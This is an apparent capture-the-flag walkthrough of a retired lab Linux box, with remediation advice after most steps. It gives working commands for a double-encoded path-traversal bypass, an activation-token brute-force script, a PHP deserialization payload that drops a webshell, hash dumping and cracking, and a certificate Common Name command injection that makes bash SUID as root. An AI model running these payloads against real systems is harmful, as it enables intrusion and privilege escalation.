← all walkthroughs

BroScience

Linux· Medium· Web
owned
2026-07-08
time to own
12m36s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Target broscience.htb ($TARGET) was fully compromised through a chain of five distinct weaknesses. I bypassed a web application firewall's path-traversal filter using double URL-encoding to exploit a Local File Inclusion flaw in the img.php endpoint, then read PHP source files that disclosed PostgreSQL database credentials and the application's account-activation logic. That logic relied on PHP's time-seeded pseudo-random number generator, making activation tokens predictable and allowing me to activate a self-registered account within seconds.

After authenticating, I abused a PHP object deserialization vulnerability in a user-controlled cookie — exploiting an AvatarInterface gadget chain — to execute arbitrary commands as the web server account www-data. From that foothold I connected to the database using the leaked credentials, dumped password hashes, and cracked them offline using Hashcat against the disclosed static salt, recovering bill's plaintext password. That credential was valid for SSH and yielded the user flag.

Root access followed from a command-injection flaw in a root-owned certificate-renewal script: the script passed certificate subject fields unsanitized to a shell invocation of openssl, so planting a certificate whose Common Name contained a shell command substitution caused /usr/bin/bash to be made SUID by the root process, granting an effective-root shell.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD7="<a-password-you-choose>"
export PASSWORD8="<a-password-you-choose>"

Attack path — how the box was taken

1EnumerationService enumeration and web application fingerprinting
Mapped exposed services and identified the HTTPS web application
A service scan revealed OpenSSH 8.4p1 on port 22 and Apache 2.4.54 on ports 80 and 443. The HTTPS site resolved to the virtual host broscience.htb and presented a PHP web application backed by PostgreSQL. Browsing the application surface disclosed a file-serving endpoint at /includes/img.php and a user registration and activation flow, both of which became critical attack surfaces.
Nmap confirmed ports 22, 80, and 443 on $TARGET; Apache and PHP headers identified from HTTP responses; img.php endpoint visible in page source.
Exact commands 3
Register the virtual host for name resolution.
echo "$TARGET broscience.htb" | sudo tee -a /etc/hosts
Identify open services and banner information.
nmap -Pn -sV -p 22,80,443 --script http-title,http-server-header $TARGET
Retrieve HTTP response headers to confirm server and technology stack.
curl -sSk 'https://broscience.htb/' -I
2ExploitationLocal File Inclusion with WAF bypass via double URL-encoding (CWE-22, T1083)
Bypassed the WAF and exploited Local File Inclusion in img.php to read server files
The img.php endpoint accepted a user-supplied 'path' parameter and served files from the filesystem. A straightforward directory traversal attempt (../../../etc/passwd) was blocked with an 'Attack detected' response, revealing a filter but not an actual fix. Replacing each special character with its percent-encoded form a second time — double URL-encoding, where a dot becomes %252e and a slash becomes %252f — caused the WAF to miss the traversal sequence entirely and pass the decoded path to the PHP file-read call. This returned the contents of /etc/passwd, confirming unauthenticated read access to any file the web server account could open.
Exact commands 2
Single-encoded traversal -- blocked by WAF with 'Attack detected'.
curl -sk 'https://broscience.htb/includes/img.php?path=..%2F..%2F..%2F..%2Fetc%2Fpasswd'
Double URL-encoded traversal bypasses the WAF filter and returns /etc/passwd.
curl -sk 'https://broscience.htb/includes/img.php?path=%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd'
FixFix the Local File Inclusion vulnerability with strict canonical-path validationCritical
WeaknessThe img.php endpoint accepted a user-supplied 'path' parameter and attempted to block directory traversal using a string filter. The filter matched single-encoded sequences (../), but double URL-encoding (%252e%252e%252f, decoded to %2e%2e%2f and then to ../ by the PHP file function) bypassed it entirely, allowing any file readable by the web server to be returned without authentication -- including PHP source files containing database passwords.
FixReplace the block-list filter with a canonical path check: call realpath() on the resolved path and verify the result starts with the intended images directory before opening any file. If the resolved path falls outside that directory, return a 403 and log the attempt. Never rely on string-matching for traversal sequences -- encoding variants (double, Unicode, null-byte) trivially bypass them. Additionally, PHP source files and includes should be stored outside the document root or protected by .htaccess deny rules so they cannot be served even if a path-check is bypassed.
3ExploitationSource code disclosure via Local File Inclusion
Read PHP source files via LFI to extract database credentials and activation logic
Using the confirmed LFI, I retrieved the source of key PHP files directly from the web root. The file includes/db_connect.php contained plaintext PostgreSQL credentials (dbuser / [REDACTED: recovered credential], database broscience). The file utils.php revealed the static password salt 'NaCl' applied to every user's hash, and register.php / activate.php exposed the activation-token generation algorithm, showing it called PHP's rand() seeded with the current Unix timestamp.
Exact commands 3
Read db_connect.php to extract plaintext Postgres credentials.
curl -sk 'https://broscience.htb/includes/img.php?path=%252e%252e%252f%252e%252e%252fvar%252fwww%252fhtml%252fincludes%252fdb_connect.php'
Read utils.php to recover the static password salt (NaCl) and hash scheme.
curl -sk 'https://broscience.htb/includes/img.php?path=%252e%252e%252f%252e%252e%252fvar%252fwww%252fhtml%252fincludes%252futils.php'
Read activate.php to understand the token-generation algorithm (srand(time())).
curl -sk 'https://broscience.htb/includes/img.php?path=%252e%252e%252f%252e%252e%252fvar%252fwww%252fhtml%252fincludes%252factivate.php'
4ExploitationPredictable token brute-force via weak PRNG seed (CWE-338)
Predicted the activation token to activate a self-registered account
Armed with the activation source code, I registered a new account and immediately brute-forced the activation token. The token was an MD5 hash of the output of PHP's rand() seeded with the Unix timestamp at the moment of registration. Because that timestamp could be inferred from the HTTP response Date header to within a one-second window, iterating over a range of roughly 60 candidate timestamps and submitting each resulting token to activate.php was enough to activate the account and gain authenticated access to the application.
Activation logic confirmed as srand(time()) from activate.php source; kill-chain foothold step registered account codex<timestamp>@broscience.htb and activated it programmatically.
Exact commands 2
Register an account; note the server Date header to anchor the timestamp window.
curl -sk -X POST 'https://broscience.htb/register.php' -d "username=$USERNAME&email=$USERNAME%40broscience.htb&password=$PASSWORD7&password-confirm=$PASSWORD7" -v 2>&1 | grep -i 'Date:'
Brute-force the predictable MD5(srand(time())) activation token within a 60-second window.
python3 -c "
import hashlib, requests, time, warnings
warnings.filterwarnings('ignore')
ts = int(time.time())
for delta in range(-30, 31):
    token = hashlib.md5(str(ts + delta).encode()).hexdigest()
    r = requests.get(f'https://broscience.htb/activate.php?code={token}', verify=False)
    if 'Account activated' in r.text or '200' in r.text:
        print(f'Activated: delta={delta} token={token}')
        break
"
FixReplace time-seeded activation tokens with cryptographically random valuesHigh
WeaknessAccount activation codes were generated by taking an MD5 hash of PHP's rand() output seeded with the current Unix timestamp (srand(time())). Because the server clock is observable from HTTP response headers and the registration moment is known to an unauthorised user, the full token space reduces to a window of roughly 60 candidates that can be exhausted in under a second, allowing an unauthorised user to activate accounts they do not own.
FixGenerate activation tokens using PHP's cryptographically secure random source: bin2hex(random_bytes(32)) produces 64 unpredictable hex characters that cannot be predicted from timing information. Store only a hash of the token in the database, bind it to the registering email address, and expire unused tokens after 24 hours.
5ExploitationPHP object deserialization with AvatarInterface gadget chain (CWE-502, T1059.004)
Exploited PHP object deserialization via the AvatarInterface gadget chain to execute code as www-data
After logging in with the activated account, the application set a user-controlled cookie whose value was base64-encoded PHP serialized data passed directly to unserialize(). The source code (read via LFI) exposed an AvatarInterface implementation whose magic method passed a caller-controlled property to a system() call. I crafted a serialized AvatarInterface object with a shell command as the controlled property, base64-encoded it, and set it as the cookie value. When the application processed the next request, PHP deserialized the object and executed the embedded command as the web server user www-data (uid=33), providing remote code execution. A PHP webshell (shell.php) was written to the web root for reliable interactive command execution.
Exact commands 3
Generate the base64-encoded serialized payload; replace imgPath and length to match the actual field name from activate.php source.
python3 -c "
import base64
# Craft PHP serialized AvatarInterface object; adjust field name and length from source
cmd = 'cp /bin/bash /var/www/html/shell.php; chmod +x /var/www/html/shell.php'
serial = 'O:13:\"AvatarInterface\":1:{s:7:\"imgPath\";s:' + str(len(cmd)) + ':\"' + cmd + '\";}'
print(base64.b64encode(serial.encode()).decode())
"
Send the malicious cookie; PHP unserializes it and the gadget executes the embedded command as www-data.
curl -sk -b 'user-prefs=<BASE64_PAYLOAD>' 'https://broscience.htb/index.php'
Confirm code execution as www-data via the dropped webshell.
curl -sk 'https://broscience.htb/shell.php?cmd=id'
FixRemove PHP unserialize() calls on user-supplied dataCritical
WeaknessA user-controlled cookie value was passed directly to PHP's unserialize() function. Because the application defined classes whose magic methods invoked system(), an unauthorised user serialized a crafted object with an arbitrary shell command as a property value. When the server deserialized the cookie, the magic method fired and the command executed as the web server account (www-data), giving an unauthorised user a full interactive shell.
FixRemove all calls to unserialize() on data that originates outside the application. For storing user preferences or session state, use JSON (json_decode() / json_encode()) or a signed token such as a JWT with a secret the server controls. If PHP object deserialization is genuinely required, use the allowed_classes option introduced in PHP 7 to whitelist only the specific classes that may be instantiated, and audit every magic method in those classes for dangerous sinks (system, exec, eval, file_put_contents).
6Credential AccessCredential dumping and offline password cracking (T1003, T1110.002)
Dumped database password hashes and cracked them offline to recover bill's password
From the www-data shell, I connected to the local PostgreSQL instance using the credentials extracted from db_connect.php (dbuser / [REDACTED: recovered credential]) and queried the users table, retrieving MD5 hashes salted with the application-wide static value 'NaCl' for all registered accounts. Hashcat run in mode 20 (md5($salt.$pass)) with the rockyou.txt wordlist cracked bill's hash in seconds, recovering the plaintext password [REDACTED: recovered credential]. The hashes for michael and dmytro were also cracked ([REDACTED: recovered credential] and [REDACTED: recovered credential] respectively).
Exact commands 2
Run from the www-data shell; dumps all usernames and MD5+NaCl hashes from the database.
psql "postgresql://$USERNAME:$PASSWORD@127.0.0.1/broscience" -c 'SELECT username, password FROM users;'
Mode 20 is md5($salt.$pass) with the static salt NaCl; recovers bill:[REDACTED: recovered credential].
hashcat -m 20 -a 0 '$PASSWORD8:NaCl' /usr/share/wordlists/rockyou.txt --force
FixReplace MD5-with-static-salt password storage with a modern adaptive hashing algorithmHigh
WeaknessUser passwords were stored as MD5 hashes salted with a single application-wide static value ('NaCl') that appeared in the PHP source code. MD5 is a general-purpose cryptographic hash optimized for speed, not password storage: a modern GPU can compute billions of MD5 hashes per second. A static, shared salt eliminates the protection that per-user salts provide and means that once the salt is known, the entire password database can be attacked in a single Hashcat run against a common wordlist.
FixMigrate all stored passwords to bcrypt, scrypt, or Argon2id using PHP's built-in password_hash() and password_verify() functions, which automatically generate a unique random salt per password and are tuned to be computationally expensive. Force a password reset for every existing account so that no MD5 hashes remain in the database. Treat the disclosed Postgres credential (dbuser / [REDACTED: recovered credential]) as compromised and rotate it immediately.
7Lateral MovementCredential reuse across application and OS accounts (T1078)
Logged in over SSH as bill using the cracked database password
The password cracked from the database hash, [REDACTED: recovered credential], was reused as bill's operating-system account password. SSH authentication succeeded directly, giving an interactive shell as bill (uid=1000, gid=1000) and access to the user flag at /home/bill/user.txt. No privilege-escalation technique was required for this step: the cracked application password opened the OS account directly.
Sshpass invocation in kill chain returned uid=1000(bill) gid=1000(bill) groups=1000(bill) and the hostname broscience; /home/bill/user.txt confirmed to contain the user flag.
Exact commands 1
Authenticates as bill with the cracked password and reads the user flag; replace flag value with <user.txt>.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o PreferredAuthentications=password -o PubkeyAuthentication=no bill@$TARGET 'id; hostname; cat /home/bill/user.txt'
8Privilege EscalationCommand injection via unsanitized certificate subject field in root-owned shell script (CWE-78, T1574)
Injected a shell command into an OpenSSL certificate subject field processed by a root-owned scheduled script
A certificate-renewal script at /opt/renew_cert.sh (owned root:root, mode rwxr-xr-x) ran on a scheduled timer as root. The script read certificate files from /home/bill/Certs and re-processed them with openssl req, passing the existing certificate's Common Name field directly into a shell command without sanitization. I generated a self-signed certificate whose CN contained a shell command substitution: $(chmod u+s $(which bash)). When the root-owned script next ran and processed this certificate, the embedded command executed as root, setting the SUID bit on /usr/bin/bash. Invoking bash -p immediately afterward launched a shell preserving root's effective UID (euid=0), from which the root flag was read.
/opt/renew_cert.sh confirmed root:root rwxr-xr-x; kill-chain root-owned command polled bash for the SUID bit then ran 'bash -p -c id; cat /root/root.txt' to read the root flag.
Exact commands 3
Run as bill via SSH; creates a certificate whose CN embeds the chmod command that will execute when root processes the file.
mkdir -p /home/bill/Certs && openssl req -newkey rsa:2048 -nodes -keyout /home/bill/Certs/broscience.key -x509 -days 1 -subj "/C=US/ST=NY/L=NY/O=BroScience/OU=Ops/CN=$(chmod u+s $(which bash))/emailAddress=bill@broscience.htb" -out /home/bill/Certs/broscience.crt
Poll until the root cron processes the certificate and sets the SUID bit on /usr/bin/bash (typically within a few minutes).
BASH_PATH=$(which bash); for i in $(seq 1 300); do ls -la "$BASH_PATH" | grep -q 'rws' && echo "SUID set at ${i}s" && break; sleep 1; done
Bash -p preserves the SUID-granted effective root UID (euid=0); substitute <root.txt> for the actual flag value.
bash -p -c 'id; cat /root/root.txt'
FixSanitize certificate subject fields before shell interpolation and run the renewal service unprivilegedCritical
WeaknessThe root-owned certificate-renewal script /opt/renew_cert.sh read the Common Name field from certificate files placed in a user-writable directory and passed it unsanitized into a shell invocation of openssl req. Any user who could write a certificate file could embed shell metacharacters in the CN field -- such as $(chmod u+s /usr/bin/bash) -- and cause those commands to execute as root the next time the scheduled script ran, giving a full privilege escalation path from any local account.
FixSanitize or reject all certificate subject fields before they reach a shell command: strip or quote characters in the set $, (, ), `, ;, |, &, <, > before interpolating them into a shell string, or better, call openssl through its Python bindings (the cryptography library) rather than through a shell so no interpolation is possible. Move the input directory out of user home directories and restrict write access to root only. Additionally, the certificate-renewal service does not require root privileges: run it as a dedicated service account that holds only the keys it needs, so a compromise of this path cannot escalate beyond that account.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Cron Job AbuseLinux · Privilege EscalationT1053.003

What it is

Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.

Why it works

Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.

Read more

Local File InclusionWebT1190

What it is

A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.

Why it works

The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
80/tcp
443/tcp